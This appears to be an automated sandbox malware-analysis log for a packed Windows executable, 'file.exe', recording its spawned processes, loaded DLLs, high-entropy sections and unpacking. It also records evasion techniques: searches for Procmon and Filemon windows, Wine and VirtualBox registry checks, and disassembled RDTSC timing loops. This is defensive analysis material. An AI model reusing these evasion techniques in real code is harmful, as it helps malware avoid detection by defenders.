Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 --field-trial-handle=2000,i,7709211645445571266,4399532213566527057,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 --field-trial-handle=1928,i,17091623068724478487,9148228369810472869,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 --field-trial-handle=2000,i,7709211645445571266,4399532213566527057,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1889792 > 1048576

Source: file.exe

Static PE information: Raw size of atizwfdt is bigger than: 0x100000 < 0x1a6600

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;atizwfdt:EW;oazmsryp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;atizwfdt:EW;oazmsryp:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cf5d4 should be: 0x1db3f3

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: atizwfdt
Source: file.exe	Static PE information: section name: oazmsryp
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009AEE10 pushad ; retf	0_3_009AEE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009AEE10 pushad ; retf	0_3_009AEE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009AEE10 pushad ; retf	0_3_009AEE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009AEE10 pushad ; retf	0_3_009AEE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009AEE10 pushad ; retf	0_3_009AEE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009AEE10 pushad ; retf	0_3_009AEE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009AEE10 pushad ; retf	0_3_009AEE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009AEE10 pushad ; retf	0_3_009AEE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009AEE10 pushad ; retf	0_3_009AEE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009AEE10 pushad ; retf	0_3_009AEE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009AEE10 pushad ; retf	0_3_009AEE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009AEE10 pushad ; retf	0_3_009AEE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009B8880 push cs; retf	0_3_009B8885
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009B8880 push cs; retf	0_3_009B8885
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009B8880 push cs; retf	0_3_009B8885
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009B8880 push cs; retf	0_3_009B8885
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009B8880 push cs; retf	0_3_009B8885
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009B8880 push cs; retf	0_3_009B8885
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009C3ABC push esi; retf	0_3_009C3ABF

Source: file.exe	Static PE information: section name: entropy: 7.9833518321386014
Source: file.exe	Static PE information: section name: atizwfdt entropy: 7.953866602024274

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6FFCA second address: C6FFF6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDDB4F285B0h 0x00000008 jmp 00007FDDB4F285A8h 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6FFF6 second address: C70018 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDDB4D5DBF6h 0x00000008 jmp 00007FDDB4D5DC02h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push esi 0x00000011 pop esi 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7045C second address: C70486 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jp 00007FDDB4F28596h 0x00000018 jnp 00007FDDB4F28596h 0x0000001e push edi 0x0000001f pop edi 0x00000020 popad 0x00000021 push esi 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70486 second address: C7048D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7048D second address: C70492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7077F second address: C70783 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C708CD second address: C708EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDDB4F285A8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C708EC second address: C708F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C708F0 second address: C70911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDDB4F28596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FDDB4F285A2h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70911 second address: C7091F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7091F second address: C70944 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Fh 0x00000007 jmp 00007FDDB4F2859Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jg 00007FDDB4F28598h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70944 second address: C7096B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDB4D5DC04h 0x00000008 jmp 00007FDDB4D5DBFEh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDDB4D5DBFFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73A73 second address: C73AA5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007FDDB4F28596h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FDDB4F2859Ch 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007FDDB4F2859Eh 0x0000001b mov eax, dword ptr [eax] 0x0000001d push esi 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73B66 second address: C73B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73B6F second address: C73BD0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 47779847h 0x0000000e push 00000003h 0x00000010 mov di, 303Fh 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007FDDB4F28598h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 movzx edx, bx 0x00000033 jmp 00007FDDB4F2859Bh 0x00000038 push 00000003h 0x0000003a mov dword ptr [ebp+122D1874h], ecx 0x00000040 call 00007FDDB4F28599h 0x00000045 pushad 0x00000046 jmp 00007FDDB4F2859Ch 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73BD0 second address: C73C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007FDDB4D5DC08h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDDB4D5DC03h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73C0A second address: C73C3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop edx 0x00000014 popad 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 pushad 0x0000001a jbe 00007FDDB4F2859Ch 0x00000020 jp 00007FDDB4F28596h 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73C3E second address: C73C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73C42 second address: C73C74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov esi, 092D8534h 0x0000000d lea ebx, dword ptr [ebp+1245F9B5h] 0x00000013 jc 00007FDDB4F285A0h 0x00000019 jmp 00007FDDB4F2859Ah 0x0000001e xchg eax, ebx 0x0000001f jbe 00007FDDB4F285A4h 0x00000025 push eax 0x00000026 push edx 0x00000027 jno 00007FDDB4F28596h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73CF7 second address: C73D01 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDDB4D5DBF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73F2C second address: C73F40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4F285A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73F40 second address: C73F57 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDDB4D5DBF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FDDB4D5DBF8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73F57 second address: C73F7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jns 00007FDDB4F28596h 0x00000016 jne 00007FDDB4F28596h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73F7D second address: C73F87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FDDB4D5DBF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73F87 second address: C73FFE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDDB4F28596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jng 00007FDDB4F285A2h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 jmp 00007FDDB4F285A0h 0x0000001d pop eax 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007FDDB4F28598h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 sub dword ptr [ebp+12459285h], edi 0x0000003e push 00000003h 0x00000040 and ecx, 789D0D35h 0x00000046 push 00000000h 0x00000048 mov esi, dword ptr [ebp+122D1931h] 0x0000004e push 00000003h 0x00000050 mov cl, 7Ch 0x00000052 push F4B1E5B3h 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73FFE second address: C74002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74002 second address: C74008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74008 second address: C7400D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7400D second address: C7403C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 34B1E5B3h 0x00000010 sub dword ptr [ebp+122D189Bh], edi 0x00000016 lea ebx, dword ptr [ebp+1245F9C9h] 0x0000001c mov dl, 8Eh 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FDDB4F2859Ch 0x00000028 rdtsc
